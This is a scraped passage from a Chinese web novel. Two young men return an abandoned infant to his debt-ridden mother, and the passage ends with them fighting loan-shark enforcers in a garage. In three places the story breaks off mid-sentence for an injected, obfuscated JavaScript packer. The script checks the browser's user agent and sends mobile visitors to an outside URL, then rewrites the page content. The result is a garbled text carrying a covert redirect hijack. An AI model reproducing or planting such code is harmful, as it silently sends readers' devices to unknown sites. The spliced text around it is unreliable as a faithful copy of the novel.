岂止是不让人碰,哪怕饿死也不喝家里佣人喂的一口奶。 肖珩怕这孩子又哭,哄起来麻烦,但出乎意料地,话刚说完,就见小孩用他几根肉乎乎的小爪子,握住了陆延的一根手指,又冲陆延咯咯笑了。 陆延微微曲起那根被握住的食指,压低了声音逗他,也不管他能不能听懂:“小家伙,看你骨骼精奇又与我有缘,哥哥传授你一招武林绝学。” 肖珩凉凉地说:“吉他就算了。” “……”陆延说,“这事过不去了是不是。” 等肖珩抱着孩子从车上下来,陆延也把摩托车停到车库里,说是车库,其实也就是伟哥自己在单元楼边上拿破塑料布架起来的一块小地方。 简陋中透着一股穷酸气息。 “这什么,”肖珩看了那块布两眼,“雨棚?” “车库。” 陆延把车钥匙拔下来,又把挂在车头上的两个袋子拎下来,介绍说:“穷苦劳动人民的智慧,挡风遮雨没什么问题,不过要是遇到台风天就不行了,还得把车扛进屋里。” 肖珩上次来的时候没注意那么多,他那天刚得知肖启山搞出来个孩子,肖启山给那女人一笔钱把人打发了,至于孩子,孩子等办好手续就送出国。 毕竟私生子这事传出去不好听,送出国之后就当顺势没这回事。 他跟肖启山吵了一架。 跑出来之后整个人都烦透了。 陆延走在前面,走到三楼的时候顺便把车钥匙还了:“伟哥,送你个大番茄你吃不吃。” “你小子少贫,”伟哥先是从门缝里伸出一只手,然后才把门打开,“等会儿,这兄弟有点眼熟啊,这不你上次逮错的那个吗。” 逮错人那件事现在提起来也还是让人尴尬。 陆延和肖珩两个人都想略过这个话题。 但伟哥看着他们说:“正所谓不打不相识啊,江湖相逢就是缘……哎,这小孩还挺可爱。” 伟哥这个人长得五大三粗,常年收债靠的就是身上的威严之气,浑身肌肉不说,笑起来也跟皮笑肉不笑似的,他刚凑到那小孩儿面前想逗逗他,小孩哇地一声就哭了。 “……” 他们今天来得不凑巧,601今天回来得比往常都要晚,敲门也没人应。 “估计等会儿就回来了,你要不进来坐坐,”陆延开了门,又指指肖珩怀里的孩子,“他老这么哭也不是办法。” 肖珩其实不是很会哄孩子,最多也就拍两下。 平时看着乖巧的孩子一哭起来简直就是恶魔降临人间。 哭得人一个头两个大。 陆延把菜放去厨房,再出来就看见肖珩冷着脸在对小孩说:“别哭了。” “别哭听不懂?” 陆延实在看不下去:“你嫌他哭得声儿不够大?” 肖珩不太耐烦地说:“你来?” 陆延发现他跟这位少爷凑在一起总能产生奇妙的化学反应,比如说,话说不到两句话就能呛起来。 “我来就我来。” 陆延说:“让你见识见识什么叫正确地安抚弱小孩童受伤的心灵。” 话虽然是放出去了,但陆延也没哄过孩子,可能是抱的姿势不太对,刚上手孩子哭得更凶。 他调整了姿势,还是哭。 陆延也实在想不到什么招了,他作为一个能屈能伸的新时代优秀青年,立马改口道:“……我觉得你哄得其实也还行。” 回应他的是肖珩的一声冷笑。 肖珩靠在门口,倚着门看他:“你不是挺能的吗。” 瞧不起谁啊。 能不总用这种嘲讽人的语气吗。 也不看看现在谁在谁地盘上? 陆延拍拍小孩的后背,觉得他得找回尊严。 陆延脑海里闪过一个可行的念头,他清了清嗓子,打算唱首儿歌试试。 作为一名乐队主唱,虽然他曲库丰富,要是按种类来算,算是会八国语言的那种。但儿歌确实不多,想来想去只能想起来那么一首,词还记不全,于是挑了其中一段开始唱。 陆延声线不算特别柔的那种,辨识度很高,尤其唱低音的时候,声音一点点压下去、带着点哑。 像一杯起泡酒,细腻又热烈。 但这么个声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727113|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音现在在唱:“……快乐的一只小青蛙,哩哩哩哩破法。” “快乐的一只小青蛙。” “小青蛙。” “呱呱呱。” 肖珩:“……” 小孩儿又哭了两声,在陆延唱到“呱呱呱”的时候他哭着打了个嗝,然后哭声渐渐止住了。 “看到没,”陆延唱完对肖珩挑眉道,“这首歌,回去好好学学。” 陆延不用去学校替课,身上又恢复了原先的装扮,他今天戴的眉钉是一个金属质感的小圆环,挑眉的时候眉尾往上扬起一点儿。 挺酷。 当然如果唱的不是呱呱呱就更酷了。 肖珩上次没进来,这回阴差阳错又来到这栋楼里,他不着痕迹地打量这间房间,面积虽然小,但收拾得还算整洁。这人虽然吉他弹得烂,但这屋子里光吉他就有不下三把,其中一把就是陆延的微聊头像。 他目光从柜子上那一堆CD唱片上略过去。 由于面积小,卧室和客厅并没有太明确的界限,他看到陆延床上扔着一条牛仔裤,床对着的那面墙上贴的是张海报——Vent乐队。 舞台上,长头发主唱扛着麦、脚踩在音箱上,一副唯我独尊的架势。 整个环境很暗。 妖异的红光从他身上撒下来。 “那是你?” “啊,”陆延顺着他的目光看过去,“是,去年的时候。” “就那个走了两个队友的乐队?” “你有意见?” “没有。” “喂,”陆延发现这孩子哭倒是不哭了,但是眼睛闭上之后就没再睁开,眼泪都还挂在睫毛上,“他睡着了?” 肖珩正想说‘把他给我吧’,就听到外面传进来几声高跟鞋踩在地面上的声音,以及一阵丁零当啷的钥匙声。 601那女人依旧是平常那身打扮,短裙、浓妆,浑身酒气。 她大概是喝多了,把钥匙往钥匙孔里插的时候好几次都没弄进去,最后对着门踹了一脚,缓缓蹲下身,从手包里找出来一盒烟,背靠着门正要抽一根醒醒酒。 然后她听到耳边有个冷淡的声音说:“你孩子,还要不要了。” 女人点烟的手一抖,火烧在手指上。 肖珩来之前根本摸不准这女人到底怎么想的,他连这女人的真名都打听不到,在这个夜总会里叫小莲,等去另一家店里又变成了楠楠。 找了几个地方才找到准确住址。 生完孩子往他们家一送,除开拿了肖启山给她的那笔钱,其他的事也没干,不像其他人那样没完没了地接着闹,异常地安静。 陆延抱着小孩站在门口,不想卷进别人的家务事里,一时间进也不是退也不是,但他察觉到女人的视线正在看这个小孩儿。 陆延想,既然这小孩是他弟。 这女人又是这小孩的妈。 那这女的就是他的…… 不对啊,这年龄对不上。 “什么孩子?”女人收回视线,又慢慢地站起来,她说,“我没有孩子。” “你们找错人了。” 女人说话声很淡,她把烟点上,抽烟的时候眯起眼睛,那双本来就画着大浓妆看不清眼形的眼睛隐在缭绕的烟雾里。 12. 第十二章 陆延听到肖珩也很冷淡地说:“肖启山不会往自己身边放一个私生子,他下个月就会被送出国,你要无所谓,那行。” 肖启山。 应该是肖珩他爸? 女人这次倒没有接着否认,她只是用一种事不关己的态度,话说到一半无所谓地笑了:“孩子跟我已经没有关系,就是一场意外,我拿钱……孩子给你们,说得明明白白的。” “别再来找我了。”她最后说。 从那女人出现开始,陆延就觉得肖珩状态不对。 他好像在无声地、近乎暴戾地表达出一种感受:既然不想要,为什么要生下来。 既然没打算养他。 为什么要把这孩子生下来。 他似乎就要把这句话说出来了,但最后还是什么都没有说,任由那女人关上门。 这关系够乱的。 陆延正想着,他怀里的小孩儿睡得不安稳,听到楼道里的动静,小孩睁开眼睛,睡得有点蒙,两眼泪汪汪,下意识想在这个陌生环境里找他熟悉的人。 陆延:“他醒了,好像又要哭。” 肖珩正要从陆延手里把孩子抱过去,结果还是慢了一步,碰到小孩身上那件小背心的的时候已经嚎上了:“哇啊——” 孩子嘴里还咬着奶嘴,连哭起来都不忘嘬奶嘴,哭几声哭累了就嘟着小嘴巴嘬两下。 肖珩束手无策:“你刚才唱的什么歌。” 陆延说:“青蛙乐队,小跳蛙。” “……” 先不说这是什么乐队,但肖珩听到乐队这两字就明白了陆延的曲库里为什么会有这么一首歌。 说话间,小孩嘬着奶嘴,脸颊鼓得跟嘴里藏了什么东西一样,然后松开嘴,握紧小拳头,打算卵足了劲哭第二个回合。 两位完全没有带孩子经验的未婚男士只能靠青蛙乐队的儿歌哄孩子。 但这次陆延再怎么呱呱呱也没用。 陆延灵光一现:“他可能喜欢听你唱。” 肖珩就差往脑门上刻‘拒绝’两个字:“他不喜欢。” 陆延:“你试试。” 肖珩:“我试个J……”8。 肖珩脏话说一半最后还是没往下说。 “这歌很简单,听一遍就会了。” 陆延说着给他起了个调,用‘啦’代替了歌词。 肖珩被他烦得不行,但还是拍拍孩子后背,跟着陆延起的那句调‘啦’了两声。 陆延玩音乐久了,对各式各样的声音都一种敏锐的观察力和自己都控制不了的记录癖。 他平时会习惯带着支录音笔,兴致来了就录点声音:比如下雨时候的雨声,车轮滚在泥泞地上的声音,喧嚣的菜市场摊贩的吆喝声。 肖珩虽然调不太准,但声音跟他这个人一样,冷淡且懒散。 陆延心里有点痒痒。 想录。 两个人在楼道里啦了半天,小孩该哭还是哭,甚至哭得更猛,这种强烈的对比显得他们两个人杵着跟俩大傻子一样:“……” 肖珩耐心告竭:“还啦?” “不啦了不啦了,”陆延放弃了,“他平时哭都有些什么原因?” 肖珩皱着眉头总结:“饿、困、不高兴……” 这时候,小孩哭完第二回合又开始嘬奶嘴,小拳头放在胸前。 肖珩随口说的几个可能性,跟实际情况联系在一起,两个人一齐盯着小孩奶嘴上那个拉环说:“饿了?” 小孩儿眨眨眼,嘴里发出一声类似回应的砸砸声。 肖珩出门之前刚给他喂过一次奶,想着来回也不过两个多小时的功夫,没往这个情况上想,只当他是刚睡醒闹脾气。 要真是饿了,从下城区到市中心的车程时间也不短,总不能让孩子这样哭一路。 陆延问:“你带奶了吗。” “在车里。” 肖珩下楼去拿奶瓶的功夫,陆延在楼上抱着孩子烧热水。 陆延怎么也想不到为了补偿替课,结果怀里多了个嘬奶嘴的小孩儿,他叹口气,轻轻拍着小孩的后背说:“不哭啊,你哥一会儿就回来了。” 这孩子他哥虽然哄孩子技术差劲,好在冲奶粉还算专业。手法娴熟,尤其在手背上试温度的那一下,就跟奶粉广告里播的差不多。 不过孩子他哥泡奶粉全程都集不耐烦和有耐心为一体,神奇得很,看上去一副“老子压根不想干这事”的态度,手上动作却依然放得很轻。 陆延把剩下的水倒出来:“哄孩子技术那么差,奶粉泡得倒还行,你家里没人照顾他吗?” 肖珩说:“有佣人。” 佣人这个词对下城区住户陆延来说实在太遥远。 当然他也想不到,就算有佣人,佣人对一个谁都不想要的私生子照顾起来也不会太上心,之前小孩喝普通奶粉过敏,喂了几天竟然也没人发现。 陆延看着肖珩捏着那个环把奶嘴从小孩嘴里拿出来,又把奶瓶凑上去。 小孩松开小拳头,抱着奶瓶开始喝奶。 如果是刚才在楼下那会儿,陆延估计还能笑着逗逗他,但刚才601闹了那么一出,再看这孩子只觉得唏嘘。这才几个月大啊,说不要就不要。 “喂,杀马特。” 陆延正感慨着,听到肖珩叫他。 虽然乱七八糟的家事暴露在外人面前,多少有点不自在,肖珩还是认认真真地说:“今天谢谢了。” …… 还谢谢呢。 “等会儿。” 陆延示意他打住:“你把话倒回去,你叫我什么。杀什么?” 陆延怀疑上回那番自我介绍肖珩压根就没听,按照这少爷脾气,那句无业游民陆延,能注意到无业游民四个字就不错了。 果然。 暴躁少爷说:“你叫什么?” “陆延,”陆延气笑了,“陆地的路,延宕的延。” 肖珩给孩子冲完奶粉之后没有再多逗留,陆延推开边上那扇窗户,看着那辆改装车从七区门口开了出去。 见人走了,伟哥这才从楼下上来,坐在厅里跟陆延唠嗑:“咋的了,刚听到你们在跟601吵架?” “没吵,”陆延说,“就是601有个孩子……” 别人的家事,他没办法说太多。 陆延只开了个头,便止住了:“你就别打听了。” “我就是好奇么,你不告诉我我心里难受。” “难受着吧。”陆延说。 “……”伟哥怒道,“你小子找我借车的时候可不是这态度!” “一码归一码。” 陆延把菜洗完,拿刀开始切西红柿。 伟哥拿起陆延桌上的苹果,咬一口又说:“不过吧说到孩子,干他们这行的没人愿意生孩子,就算不小心生下来了,宁愿哭着扔别人家门口,也不会自己养。” 陆延手里的刀顿了顿:“什么?” 伟哥摇摇头,叹一声气:“你们不懂——那种身份,怎么养孩子啊。” “妓/女!你知道妓/女是干什么的吗。” “那不是谣传,我前几天去收账,妈的那兔崽子欠着一屁股债还跑夜总会潇洒,一下就让我逮着了,我在夜总会里碰着她了。干她们这行的,要不就是已经烂到骨子里了,就想躺着来快钱……也有的走投无路没办法才干这个,这一沾上,除非人死了不然逃都逃不走。” “想养也没法养,自己脱不了身,让孩子跟着戳一辈子脊梁骨?” 陆延听到这里,又想到肖珩问那女人“你孩子还要不要了”,他不禁想当时女人抽烟的时候,烟雾下到底是什么样的神情。 “伟哥,”陆延打断他,“帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727114|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个忙呗,能不能帮我查查601到底什么情况?” - 肖珩回到家没多久,外头那扇带雕花的大门又发出“吱吖”声,紧接着车引擎声响越离越近,往车库方向驶去。 有佣人小跑着从厨房里走出来,弯着腰开门,提前在门口候着。 等男人从外面进来,佣人便接过他的衣服,低头道:“肖先生——” 男人年纪不过四十来岁,身上穿着件西装,举手投足间皆是一股沉在骨子里的、毫无温度的威严,他并没有去看边上的佣人,径直往客厅里走,那是一种久居高位习惯被人侍奉的姿态。 男人沉着声问:“肖珩回来了吗?” 佣人答:“回了,少爷今天出去了一趟,之后就一直在家。” 肖珩坐在客厅沙发上,听到动静连动都没有动,等肖启山从玄关往客厅里走,他才拿起电视遥控,漫不经心地换了个台。 就像肖启山无视佣人那样,用同样的态度无视了他。 肖启山走到他面前,正好挡住屏幕,肖珩目光便落在眼前一枚做工精致的衣扣上,然后他才慢慢抬眼去看肖启山的脸。 “你这几天没去学校?” 肖启山脸上除了不满以外没有其他表情,他怒道:“平时只知道跟翟家、邱家那两个不成器的孩子混在一起,一个家里开夜总会、一个开赌场的,都是些什么人,丢不丢脸,知道外面的人怎么说你们吗——一帮废物!” “我托关系把你塞进C大,你平时不听课也就算了——再怎么样你保证出勤,毕业证得给我拿到手。” “……” 肖珩分明看到肖启山皱起眉,那是一副嫌恶的表情,比起“儿子不成器”,更多的不满来自于这不成器的儿子让他在外头丢了颜面。 “我不像你,连孩子都玩出来了。” 肖珩往后靠,他身上那件衬衫解开好几颗扣子,整个人姿态懒散,没什么所谓地说:“——还是您厉害。” “啪——” 这一巴掌扇下来,肖珩眼睛都没眨一下,结结实实挨了这一掌。 他用指腹抹抹唇角,问肖启山:“爽了?” 肖启山看着他样子,气不打一出来,而且不可否认地,他在心底对这个儿子存有一丝恐惧,尽管不知道这份恐惧究竟从何而起:“晚上恒建集团王总设宴,你跟我一起去。” 他又补充一句:“你妈也会来。” 肖珩收到陆延发过来的消息,是在宴会厅外面。他那有半年多没联系过的母亲,刚从一辆宾利车上下来。 女人身着黑色鱼尾礼服,正挽着肖启山的手。 周围是一片赞誉声:“肖先生和肖夫人真是伉俪情深,这么多年了,感情还是那么好。” “是啊,感情真好。” “……” 宴会厅金碧辉煌。 一场属于上流社会的晚会。 从四周散射下来的那些灯,照在周围各式带钻的晚礼服裙和钻石首饰,闪着令人窒息的、眩晕的光。 去看手机屏幕,手机上备注为‘杀马特’的人给他发来几条消息: [杀马特]:一个好消息,一个坏消息,先听哪个。 [杀马特]:好了,不跟你绕了。 [杀马特]:601…… …… 肖珩这时候压根不在意什么601。 601怎么样都无所谓。 他只想离这里越远越好。 前面五十米。 肖启山帮自己太太把披肩扶正,两人对视而笑,他一边和周围人说话,一边往肖珩那儿看,示意他赶紧过来。 -你在哪。 -我来找你。 肖珩打完这两句话,冲肖启山勾起嘴角笑了笑,就在肖启山以为他要过去的时候——他在众目睽睽之下转身离场。 13. 第十三章 [我来找你。] 陆延把这句话反复看了两遍。 不知道是不是错觉,他怎么觉得这话有点引人遐想。 现在这个点已经是晚上九点多。 他刚把伟哥的摩托车从车棚里推出来,收到肖珩回复之前本来准备去趟酒吧。 孙钳这人念旧情,怕陆延离开酒吧之后生活困难,总联系他问他和李振两个人要不要回酒吧继续唱,就两个人也行,帮他热热场子。 陆延没接受,两个人上台算怎么回事。 但他拒绝几次,还是扭不过孙钳,最后为了感谢这份情、感谢这份爱,约好去酒吧跟钳哥好好喝一顿。 陆延一只手还得把着摩托车,不方便打字,直接按下语音键说:“钳哥,我临时有事,改天再约。” “你小子整天有事!”孙钳也发过来条语音,声音豪放,骂骂咧咧道,“你那乐队都散了现在也没份工作,你他妈哪儿那么多事……你谈恋爱了?” “……” 孙钳接着道:“啥时候谈的,对象是谁啊,今年多大了。” 陆延:“……不是。” 孙钳:“工作呢,干什么的。” “你打住,”陆延打断他,“想什么乱七八糟的,还没完了。” 陆延跟孙钳说完,又把聊天界面切回去,给大少爷回条语音:“你直接来凤凰台,知道在哪儿吗。” 肖珩走出宴会厅,宴会厅外面是条宽阔的马路,车水马龙,来自四面八方的车灯穿透过这片夜色,霎时间把这条路照得通亮。 他手机设置的是外放。 一点开那条语音,陆延的声音便从手机里猝不及防地扬出来。 凤凰台,他当然知道在哪儿。 ‘凤凰台’是厦京市有名的欢场。 光是名字就取得十分露骨,虽然不在市区里,但也离得不远,那片区域就是传说中的红灯区。 肖珩看看车道上来来往往的车辆,回复道:夜生活这么丰富? 陆延的语音很快又来了,他那头有风,声音被风吹得有点散,但还是很有气势:“操!” 肖珩点下一句语音。 “你有病啊!” 再下一句。 “去凤凰台找601!” 最后一句。 “赶紧过来别让老子等你。” 陆延这几句话说得倒是大气磅礴,但一个多小时后肖珩都到凤凰台门口半天了,他还骑着摩托车在大马路上转悠。 红灯区属于敏感地段,导航上导得那条路线也不清不楚的,这就导致等陆延把车开到附近,发现面前有好几个分叉口,不知道该往哪拐。 路上也没看到什么人,陆延降下车速,停在分岔路口,左边耳朵里塞着的蓝牙耳机在播:“您已偏离正确道路。” “正在为您重新规划路线。” 重新规划这句话说半天,就没再有别的话了。 陆延自言自语说:“你倒是规划啊。” 耳机:“对不起,当前路段没有合适路线。” “……” 耳机:“尊贵的VIP会员,本次导航结束,祝您旅途愉快。” “……妈的?” 还知道他是导航会员呢? 为了这破导航花钱开了会员,就这么敷衍他? 陆延掏出手机,把导航关了。 消息通知栏上正好弹出来一句话。 [肖珩]:别让老子等你。 “……” 从见面头一次陆延就发现了,这少爷表面看起来懒得理人的样子,其实心里记得门儿清。 睚眦必报说得大概就是这种人。 陆延又看一眼刚才被自己关掉的导航和面前的分岔路口,最后还是决定向命运低头,他给肖珩拨过去一通微聊电话,嘟两声后对面接了,陆延组织语言说:“我这边有点情况。” “我现在在……” 陆延说到一半又卡了。 他在哪儿? 这也没个路标。 于是肖珩站在凤凰台门口,在一会儿变成红色一会儿变成蓝色的的电子牌匾底下,顶着艳俗的光,听到陆延在那头理直气壮地说:“我现在在一根柱子边上。” 肖珩:“……” “柱子边上,”肖珩等了快三十分钟,早就没耐心了,他指间夹着根烟,抖抖烟灰说,“啧,你怎么不说你在地球村?” “你要这么理解也行。” 肖珩又问:“你身边,除了柱子还有什么,别跟我说另一根柱子。” 陆延四下看看,换了物标,形容道:“边上有个指示标,往北指,上面写着前方五十米限速……” 语音通话中断。 肖珩直接把语音电话给挂了。 ………… 是、不、是、人? 过了两秒—— [肖珩邀请你加入视频通话,点击接受或拒绝] 行。 还算个人。 陆延接了,屏幕中央是肖珩那张极其不耐烦的脸,男人头发被风吹得有些凌乱,薄唇,单眼皮,那双眼睛总像睡不醒一样半阖着,不过在这种走投无路的情况下,陆延居然觉得这人长得还算亲切。 肖珩:“把摄像头转过去。” 陆延切到后置摄像。 然后肖珩又说:“左转,进去之后直走……算了,你把车钥匙拔下来。” 拔车钥匙是个什么操作。 陆延:“然后?” 肖珩:“然后在那儿等着。” 通话又断了。 夜幕低垂。 陆延把车停下,倚着车在路边抽烟,等抽完半根,肖珩才出现在分岔路口。 肖珩从上到下打量他,又是熟悉的嘲讽腔:“你路痴?” 陆延刚吸进去一口烟,很想直接往这人脸上喷。 肖珩今天这身衣服是一套过于正式的正装,简直是行走的人民币,发型也特意整理过,身上还喷了香水。 陆延也确确实实站起身,凑近了,把呛人的烟味往肖珩面前带,似笑非笑说:“我是不像你,熟门熟路的,逛个夜总会还打扮成这样。” “……” 八字不合。 陆延和肖珩两个人脑海里同时产生这个念头。 再说下去又得呛起来。 两人都选择暂时闭嘴。 陆延推着车走在肖珩后面,发现他其实已经跟目的地离得很近了,只要刚才拐对路,就能穿过那堵高楼然后看到高楼后面的会所。 等走出去一段路,肖珩才问:“你之前说,那女的怎么?” “她叫康茹,”陆延嘴里还咬着烟,闷着声回答,“几年前在高利贷公司借了六十万。” 伟哥本身就是干借贷的,刚好有认识的人以前在那家公司做过事,抱着试试的态度,没想到这一问还真让他问出来了。 伟哥那朋友一听他打听的人是个妓/女就知道问的是谁,那朋友砸砸嘴说:“她啊,我记得,印象还挺深。她当年是来这打工的,老家好像是……哎是哪儿的我忘了,这事太久了,她当年借这钱为了给她妈治病,结果人还是没救过来。她原来在食品加工厂里干活,但就那点工资,不吃不喝两千五,拿什么还啊,就是不算利息也得还二十年。” 伟哥他们那家借贷公司是一家正规公司,借多少钱,怎么还,还多少利息都明明白白写清楚,但康茹借的那家公司是家高利贷。 高利贷可没那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727115|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多道理可讲。 不管每年还多少,只要还没还清,剩下的债务又衍生出来一笔利息,跟滚雪球一样越滚越多。 用伟哥的原话说就是:高利贷这种东西,借了就别想掰扯清,利滚利能滚死你。 气氛稍显沉默。 肖珩问:“那笔钱,她没用?” 肖启山给她的钱,他虽然不知道具体数目,但少说百来万肯定是有的。 “这就不清楚了。” 陆延说着,嘴里那根烟也刚好剩最后一口,眼前就是霓虹灯闪烁的“凤凰台”三个字。 陆延试图把自己摆在康茹的角度去猜想这件事,那个逼不得已从食品加工厂里走出来的康茹,最后他说:“……用了那不就真成卖孩子了么。” 陆延之前跟肖珩说,有一个好消息和一个坏消息。 好消息是想指601那女人没准不像他们想的那样,只是她没法脱身,想养孩子养不了。 但这个“好消息”归根朔源,也实在算不得是个好消息。 陆延说完把烟蒂扔进垃圾桶里,然后去地下车库停车。 他刚把车钥匙拔出来,就被肖珩从身后勾住了脖子,两人一下子靠近,几乎贴在一起。 陆延下意识用手肘去抵肖珩腹部,但肖珩没松手,带着他往后躲,隐匿在边上另一辆车和墙壁的夹缝里:“闭嘴。” “噔噔噔”。 刚才顾着停车,陆延这才注意到从外面传来一阵女人高跟鞋声。 声音由远及近。 一个看不清面目的女人从入口走进来。 紧接着前面不远处一辆货车开了大灯,灯光直直地冲着她去,然后副驾驶门开了,从货车上下来五个人,走在最前面的男人嘴里咬着烟,直接去抢女人手里的包,从里面掏出厚厚一沓钱,他掂量掂量说:“就这么点?” 女人语气没什么起伏:“就这么点,爱要不要。” 声音很耳熟。 男人使了个手势,然后边上四个人便把女人团团围住。 那男人微微弯腰,把那沓钱往她脸上拍:“就这么点钱,这点钱连我兄弟们的劳务费都不够付。” 这时候才能借车灯的光看到女人的脸——这不是就他们今天要来找的601吗。 康茹似乎已经对这种场面习以为常,她脸上甚至没有其他表情。 那男人又说了几句,才让那几个人松手。 康茹整理好头发,从车库走了出去。 陆延和肖珩靠太近,车库环境又闷,只觉得热。 他往边上挪了一步。 就这一步,也不知道谁往地上乱扔垃圾,他直接踩到地上一个已经被车轮碾过一圈的易拉罐—— 啪。 发出尖锐刺耳的一声。 男人正数着手里的钱,猛地回头:“谁?” 陆延:“……” 肖珩:“……” 气氛很窒息。 情况很尴尬。 陆延跟边上的大少爷互相对视,都从彼此眼睛里看出了一种明显且坚定的讯息。 陆延想,康茹是得帮,但眼下这个情况明显不合适。 对面五个大汉。 五对二。 两个人互相眼神示意两秒,然后陆延冲肖珩点了点头。 陆延感觉肖珩可能是接收到了。 想法达成一致,陆延轻声说:“我数三声。” “三。” “二。” 最后那声“一”话音还未落,陆延拔腿就往车库外面跑! 陆延跑得速度相当快。 快到同一时间和陆延做出相反举动,往五个大汉面前冲打算直接干一架的肖珩整个人都愣了:“……” 14. 第十四章 陆延祭出了他百米冲刺的速度。 从整套动作有如行云流水,殊不知他矫健的身姿,洒脱的背影深深烙印在被他无情抛弃的队友眼里,并给他那位姓肖名珩的队友造成一万点暴击。 “操,”肖珩回神骂道,“你他妈跑什么?” 陆延其实跑一半就感觉不对劲,跑得倒是挺顺畅但身边好像少了点什么。 但他也没时间去想那么多。 等他人都已经冲到车库门口了,才发现刚才跟他达成一致“我数三声我们就一起跑”的同伴压根没跟上他的步伐。 陆延止住脚步,在车库门口和肖珩遥遥对望,两人之间仿佛隔着一道银河那么宽的距离。 …… 陆延也骂:“……我操!你冲上去干什么,不是说好一起跑吗!” 说好了。 说好? 肖珩回想一番刚才陆延那个眼神,陆延给完眼神暗示之后还冲他点头,分明是在说:我数三声,我们就上去干他们。 什么时候说要一起跑了。 肖珩额角那根筋猛地一抽,发现两个人的脑回路压根不在同一条线上。尽管在这个情况下发生这种对话实在是很蠢,但他还是忍不住说:“不是一起上吗!” 两个人相隔的距离实在是太远,互相扯着嗓子对喊才能把话传出去。 陆延:“上什么上!谁跟你一起上?!!!” 肖珩:“你是狗吗?” “你骂谁?!” “你。” “……” 陆延简直想扭头就走。 他行走江湖多年。 能在人心险恶的下城区拼搏奋斗出一片天地,靠的从来都不是拳头。 他不做莽夫。 “他们五个人,我们两个,”陆延指指肖珩面前那五个大汉,说,“你不觉得这事得从长计议吗。” 肖珩:“……” 五个大汉站在那里都被他们俩给整晕了,这一切都发生得太突然,原先在数钱的那个也忘了手里的钱数到多少,他们看看车库外边那个,又看看面前的人,半天之后终于开口问:“你们俩谁啊?想干什么?” 肖珩没有回话。 陆延看着他慢条斯理地把身上那件剪裁合身的西装外套扣子给解了,脱下外套之后随手往摩托车车座上扔。 “干什么。” 脱下外套之后,肖珩抬手把身上系的那条领带扯松,低垂着眼说完前半句,这才抬眼去看面前的人,语气没什么起伏地说,“干你。” B king啊这是。 陆延被肖珩这幅逼王般嚣张的气焰所震慑。 本来肖珩穿的那件外套过于正式,正式到和周遭环境格格不入,看着总觉得他应该开着豪华跑车在路上驰骋风云,而不是在这里跟五个大汉面对面。 现在把衣服扯开之后,这气氛倒是对上了。 “你小子别太狂!”拿钱的那个男人虽然不知道现在是什么情况,但社会人士的热血依旧熊熊燃烧,他把钱往裤兜里一塞,又往地上吐了口沫,啐道,“找死呢?别以为哥几个好惹,也不出去打听打听,我是什么来头!” 那男人话没说完,迎面就挨了一拳——肖珩这一下直接冲着他鼻梁砸过去。 还没等那男人反应过来,两道鼻血先缓缓往下流淌。 “你知道我什么来头吗,”肖珩猛地又是一拳,然后顺势擒住那人的手腕,将他往自己身边带,在下手之前一字一句道,“我、是、你、爹。” 肖珩大概是觉得胸前那条领带即使扯松了也还是影响他发挥,干完第一个人之后,干脆把领带直接从脖子里拽下来。 陆延看着肖珩,觉得他这样子像是身体里某种之前停止流动的血液又复苏了一样。 男人已经被抡到了地上,躺在地上蜷缩着。疼得直抽抽,他边抽边骂:“你们几个还愣着干什么!” 站在边上的另外四个人这才反应过来,撩起袖子往前冲。 场面十分混乱。 肖珩虽然能打,但一个人对五个打得也不算轻松,况且这帮人是专门放高利贷的,战斗力不容小觑。 陆延站在车库门口,内心也在天人交战。 帮还是不帮? …… 打什么呢,有什么事情不能先跑再说? 陆延想了一圈,最后还是叹口气,打算先抄个顺手的家伙再进去帮忙。 但身边也没看到合适的。 陆延在车库门口的环视几眼,最后目光停留在绿化带边上的垃圾桶上,绿色的大型桶身上印着一行字:120升移动垃圾桶。 肖珩这辈子没打过那么刺激的架。 这个刺激不在于打架地点在凤凰台地下停车库里,也不在于对面是五个壮汉,而是他打到一半,躲过迎面而来的拳脚,侧个头的功夫,余光便瞥见一个半人高的绿皮垃圾桶从车库门口冲着他们疾速而来。 陆延推着垃圾桶杀进决战圈,过程精简干练,又快又狠又准,不到三秒钟便结束一场战争——他直接把离得最近的那个人往垃圾桶里按。 肖珩:“……” 五个壮汉:“…………” 十分钟后。 硝烟平息。 陆延坐在摩托车上,从身上摸出一盒烟,用嘴咬着抽一根出来。 凤凰台门口放的迎宾曲一直沿着传到车库里。 “鲜花伴美酒欢叙一堂抒情怀来 …… 来来来来来来来来 朋友朋友 让我们携起手来~~” 在外头嘈杂的音响唱到‘让我们携起手来’的时候,陆延把烟拿下来,问肖珩:“你 